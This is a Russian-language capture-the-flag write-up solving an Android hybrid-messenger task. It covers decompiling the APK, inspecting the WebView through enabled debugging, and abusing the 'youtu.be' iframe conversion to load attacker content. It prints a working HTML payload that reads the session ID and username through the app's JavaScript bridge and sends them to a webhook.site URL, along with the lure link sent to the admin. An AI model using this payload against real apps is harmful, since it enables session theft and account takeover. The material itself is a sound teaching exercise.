Ссылка на задание https://ctf.tinkoff.ru/tasks/rreality
Автор задания: Даниил Фукалов (@denciks), SPbCTF
Сотрудники пришли на совещание в шлемах виртуальной реальности. Они никого не слушают и тайком что-то смотрят. Узнайте, что именно.
Приложение: rreality_879996x.apk
Устанавливаем приложение на эмулятор и запускаем. Нас встречает минималистичная форма входа и регистрации. Создаём аккаунт и входим. Admin уже начал с нами диалог и отправил ссылку на YouTube.

Проваливаемся в диалог.

Помимо любви админа к мемам, замечаем важную деталь, что отправленная им ссылка отобразилась не только как текст, а ещё и в виде встроенного плеера. При нажатии на видео оно воспроизводится прямо в диалоге. Отсюда понимаем, что имеем дело с WebView. Также, это легко заметить, если декомпилировать приложение и посмотреть что представляет из себя код MainActivity.
package com.spbctf.messenger; import android.os.Bundle; import android.webkit.WebView; import androidx.activity.ComponentActivity; import androidx.activity.compose.ComponentActivityKt; import kotlin.Metadata; public final class MainActivity extends ComponentActivity { public void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); WebView.setWebContentsDebuggingEnabled(true); } }
Замечаем, что разработчик заботливо оставил для нас включенным инструменты отладки веб-вью компонента. В Google Chrome на компьютере переходим в chrome://inspect и анализируем исходники.

Анализируя JavaScript код или методом тыка, замечаем что, если сообщение содержит текст youtu.be, то приложение считает, что нам отправили ссылку на видео и преобразует его в iframe со встраиваемым плеером:
c = "youtu.be" ... children: [t.message, t.message.includes(c) && (0, ... n.jsx)("iframe", {src: t.message.replace(c, "youtube.com/embed/"),
В голову приходит идея отправить сообщение админу со ссылкой на вебхук, в котором в URL будет содержаться youtu.be (обычные вебхуки уже были проверены на этапе метода тыка и они не срабатывали). Отправляем админу нашу ссылку:
https://webhook.site/your_token_key?hey=https://www.youtu.be/watch?v=Dm8gSDnnpbE
На момент написания статьи, похоже, админ уже перестал ходить по ссылкам (или что-то сломалось), но во время CTF можно было увидеть, что админ сходил по ней.
Отлично, теперь нужно придумать как эксплуатировать это.
Во время анализа декомпилированного кода приложения или JavaScript кода в хроме можно было заметить, что из натива в веб пробрасываются три метода:
package com.spbctf.messenger.js; import android.webkit.JavascriptInterface; import com.spbctf.messenger.session.SessionController; import com.spbctf.messenger.ui.MainViewModel; import kotlin.Metadata; import kotlin.jvm.internal.Intrinsics; public final class JsApiProd implements JsApi { private final MainViewModel mainViewModel; private final SessionController sessionController; public JsApiProd(SessionController sessionController, MainViewModel mainViewModel) { Intrinsics.checkNotNullParameter(sessionController, "sessionController"); Intrinsics.checkNotNullParameter(mainViewModel, "mainViewModel"); this.sessionController = sessionController; this.mainViewModel = mainViewModel; } @Override // com.spbctf.messenger.js.JsApi @JavascriptInterface public String getSession() { return this.sessionController.getSession(); } @Override // com.spbctf.messenger.js.JsApi @JavascriptInterface public String getUsername() { return this.sessionController.getUsername(); } @Override // com.spbctf.messenger.js.JsApi @JavascriptInterface public void logout() { this.mainViewModel.logout(); } }
То есть в JavaScript коде можно вызвать native.getSession() и вызов передастся в нативную часть приложения (на Kotlin), которая отдаст обратно в веб идентификатор сессии. Такого рода приложения называются гибридными.
Так как iframe обрабатывается тем же WebView, что и основной веб-код, то и для него доступны обращения к этим нативным методам.
Пишем простейшую html страницу с кражей сессии:
<html> <head> <script type="text/javascript"> window.onload = function() { document.location = "https://webhook.site/your_token_key?data=" + native.getUsername() + "_" + native.getSession(); }; </script> </head> <body> </body> </html>
Размещаем html у себя на хостинге или в Firebase и отправляем ссылку админу. Моя ссылка выглядела примерно так:
https://my-demo.web.app/office?q=https://www.youtu.be/watch?v=Dm8gSDnnpbE
Репортим флаг и продолжаем попытки решить задачу с мемотавром!
